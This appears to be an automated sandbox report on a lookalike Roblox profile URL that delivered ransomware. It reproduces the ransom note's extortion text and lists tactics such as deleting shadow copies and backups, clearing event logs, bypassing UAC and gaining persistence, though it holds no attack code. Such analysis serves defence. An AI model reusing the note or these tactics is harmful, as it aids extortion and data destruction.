Analysis
- user interaction
yes - max time kernel
442s - max time network
502s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
05/09/2026, 17:29
General
- Target https://roblox.com.ee/users/7490809563/profile
- Sample260905-v2ts8aygrd
Score
10/10
Malware Config
Extracted
Path
-
C:\Users\Admin\Desktop\#Restore-My-Files.txt
Ransom Note
- >>> ALL YOUR IMPORTANT FILES ARE STOLEN AND ENCRYPTED <<< Important: - We have downloaded your files. Your data will be leaked within the next 72 hours. - Contact us immediately to prevent data leakage and recover your files. Your Decryption ID: 547DED5D Contact: - Email1: [email protected] - Email2: [email protected] Warning: - Tampering with files or using third-party tools WILL cause permanent damage. - Act fast! The price will increase if you delay. No Response After 24 Hours: If you do not receive a reply from us within 24 hours, please create a new, valid email address (e.g., from Gmail, Outlook, etc.), and send your message again using the new email address. Free Decryption: - Send 3 small files (max 1MB) for free decryption. <The test file is your right. And never pay without it because you must first make sure th tool works.>
Signatures
- UAC bypass 3 TTPs 2 IoCs
- Clears Windows event logs 1 TTPs 10 IoCs
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
- Renames multiple (6522) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
- Deletes System State backups 3 TTPs 4 IoCs
Uses wbadmin.exe to inhibit system recovery.
- Deletes backup catalog 3 TTPs 2 IoCs
Uses wbadmin.exe to inhibit system recovery.
- Deletes system backups 3 TTPs 2 IoCs
Uses wbadmin.exe to inhibit system recovery.
- Executes dropped EXE 2 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Drops desktop.ini file(s) 29 IoCs
- Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Sets desktop wallpaper using registry 2 TTPs 2 IoCs
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 17 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 56 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Time Discovery 1 TTPs 2 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Checks SCSI registry key(s) 3 TTPs 62 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 8 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 2 IoCs
- Enumerates system info in registry 2 TTPs 8 IoCs
- Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Modifies Internet Explorer settings 1 TTPs 8 IoCs
- Modifies data under HKEY_USERS 3 IoCs
- Modifies registry class 64 IoCs
- NTFS ADS 1 IoCs
- Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 16 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 27 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of SetWindowsHookEx 8 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://roblox.com.ee/users/7490809563/profile1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x23c,0x240,0x244,0x21c,0x24c,0x7ff9435cc188,0x7ff9435cc194,0x7ff9435cc1a02⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1736,i,16336233892382217348,13785627983180821770,524288 --field-trial-handle=2036,i,12870585137062713453,3564518884754989513,262144 --variations-seed-version --mojo-platform-channel-handle=2064 /prefetch:112⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1524,i,5543460360996938139,4238778052356719791,262144 --field-trial-handle=2036,i,12870585137062713453,3564518884754989513,262144 --variations-seed-version --mojo-platform-channel-handle=2032 /prefetch:22⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2344,i,16572760351807726810,5204787425795921869,524288 --field-trial-handle=2036,i,12870585137062713453,3564518884754989513,262144 --variations-seed-version --mojo-platform-channel-handle=2912 /prefetch:132⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3476,i,17733449692876577572,17004944230657609386,2097152 --field-trial-handle=2036,i,12870585137062713453,3564518884754989513,262144 --variations-seed-version --mojo-platform-channel-handle=3520 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3496,i,1187913570107335678,18046327233493250054,2097152 --field-trial-handle=2036,i,12870585137062713453,3564518884754989513,262144 --variations-seed-version --mojo-platform-channel-handle=3524 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4136,i,5898332178733836050,14938283548549773419,2097152 --field-trial-handle=2036,i,12870585137062713453,3564518884754989513,262144 --variations-seed-version --mojo-platform-channel-handle=4192 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4176,i,1590335359669747535,2136874452805320358,2097152 --field-trial-handle=2036,i,12870585137062713453,3564518884754989513,262144 --variations-seed-version --mojo-platform-channel-handle=4248 /prefetch:92⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4220,i,14219099246583218782,18286130386458462322,2097152 --field-trial-handle=2036,i,12870585137062713453,3564518884754989513,262144 --variations-seed-version --mojo-platform-channel-handle=4308 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=4280,i,12534378002214153141,14410745170710713046,2097152 --field-trial-handle=2036,i,12870585137062713453,3564518884754989513,262144 --variations-seed-version --mojo-platform-channel-handle=4496 /prefetch:92⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=3844,i,6860680411286455310,2067385078161299411,2097152 --field-trial-handle=2036,i,12870585137062713453,3564518884754989513,262144 --variations-seed-version --mojo-platform-channel-handle=4396 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5292,i,5357215457335315097,13878739288514775157,524288 --field-trial-handle=2036,i,12870585137062713453,3564518884754989513,262144 --variations-seed-version --mojo-platform-channel-handle=4192 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3792,i,3419863601750864856,14613834766470088429,524288 --field-trial-handle=2036,i,12870585137062713453,3564518884754989513,262144 --variations-seed-version --mojo-platform-channel-handle=3924 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6108,i,6146417002397215991,11153848616258002300,524288 --field-trial-handle=2036,i,12870585137062713453,3564518884754989513,262144 --variations-seed-version --mojo-platform-channel-handle=6064 /prefetch:142⤵
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.execookie_exporter.exe --cookie-json=11043⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6300,i,8368489203769433355,14966561164297309308,524288 --field-trial-handle=2036,i,12870585137062713453,3564518884754989513,262144 --variations-seed-version --mojo-platform-channel-handle=6208 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6300,i,8368489203769433355,14966561164297309308,524288 --field-trial-handle=2036,i,12870585137062713453,3564518884754989513,262144 --variations-seed-version --mojo-platform-channel-handle=6208 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4688,i,12151141259570197997,9992831989495750147,524288 --field-trial-handle=2036,i,12870585137062713453,3564518884754989513,262144 --variations-seed-version --mojo-platform-channel-handle=4176 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4672,i,13540072420149464180,3981907068905775027,524288 --field-trial-handle=2036,i,12870585137062713453,3564518884754989513,262144 --variations-seed-version --mojo-platform-channel-handle=5168 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4676,i,12666671550856781292,11620578360231017356,524288 --field-trial-handle=2036,i,12870585137062713453,3564518884754989513,262144 --variations-seed-version --mojo-platform-channel-handle=4276 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=4672,i,16210612903027151132,7844715652289167844,2097152 --field-trial-handle=2036,i,12870585137062713453,3564518884754989513,262144 --variations-seed-version --mojo-platform-channel-handle=4616 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3456,i,15578411735874474567,5690037476373066896,524288 --field-trial-handle=2036,i,12870585137062713453,3564518884754989513,262144 --variations-seed-version --mojo-platform-channel-handle=2360 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x10c,0x110,0x114,0xe8,0x118,0x7ff9344dc728,0x7ff9344dc734,0x7ff9344dc7402⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1596,i,13093238622356630103,326765295483278891,262144 --field-trial-handle=1928,i,11836164747447082328,13791112608255544673,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=1924 /prefetch:22⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2252,i,16019374292068495353,5682538919884786427,524288 --field-trial-handle=1928,i,11836164747447082328,13791112608255544673,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=2292 /prefetch:112⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2376,i,5075382186174695485,10047826629868210439,524288 --field-trial-handle=1928,i,11836164747447082328,13791112608255544673,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=2528 /prefetch:132⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3232,i,10189874122665986498,8777530592250305397,2097152 --field-trial-handle=1928,i,11836164747447082328,13791112608255544673,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3440 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3292,i,4012448085200381642,2266609242150007028,2097152 --field-trial-handle=1928,i,11836164747447082328,13791112608255544673,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3484 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4288,i,7905162909976548141,10240628659857278110,2097152 --field-trial-handle=1928,i,11836164747447082328,13791112608255544673,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=4300 /prefetch:92⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4576,i,17077112808130248265,13382128922118315210,2097152 --field-trial-handle=1928,i,11836164747447082328,13791112608255544673,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=4716 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5452,i,1357987440387377137,7012868152838059343,524288 --field-trial-handle=1928,i,11836164747447082328,13791112608255544673,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5456 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5840,i,12605180468229199002,784928816365006441,524288 --field-trial-handle=1928,i,11836164747447082328,13791112608255544673,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5808 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5756,i,10421919673148753902,6831732074715234421,524288 --field-trial-handle=1928,i,11836164747447082328,13791112608255544673,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5768 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5836,i,778556168897070314,4646639484037601174,524288 --field-trial-handle=1928,i,11836164747447082328,13791112608255544673,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5488 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5904,i,15158664291807082830,18249089737811868706,2097152 --field-trial-handle=1928,i,11836164747447082328,13791112608255544673,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5732 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5896,i,12980924781108741651,2603556316909356473,2097152 --field-trial-handle=1928,i,11836164747447082328,13791112608255544673,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=6076 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=2400,i,3319253042337034958,15023236277116069508,2097152 --field-trial-handle=1928,i,11836164747447082328,13791112608255544673,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=4380 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5724,i,2002075848341080175,6071946599673281164,2097152 --field-trial-handle=1928,i,11836164747447082328,13791112608255544673,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=6020 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=6112,i,15134739673202529872,3480898881813970091,2097152 --field-trial-handle=1928,i,11836164747447082328,13791112608255544673,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=6156 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5804,i,2662017276394007787,3465837762066095269,2097152 --field-trial-handle=1928,i,11836164747447082328,13791112608255544673,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3532 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=3428,i,6225084644881396981,776103955854772693,2097152 --field-trial-handle=1928,i,11836164747447082328,13791112608255544673,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3484 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=6108,i,6557718338586397059,1169160028586915803,2097152 --field-trial-handle=1928,i,11836164747447082328,13791112608255544673,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3684 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5836,i,12788561346152037908,15927557816168355168,262144 --field-trial-handle=1928,i,11836164747447082328,13791112608255544673,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3664 /prefetch:102⤵
- Suspicious behavior: EnumeratesProcesses
-
-
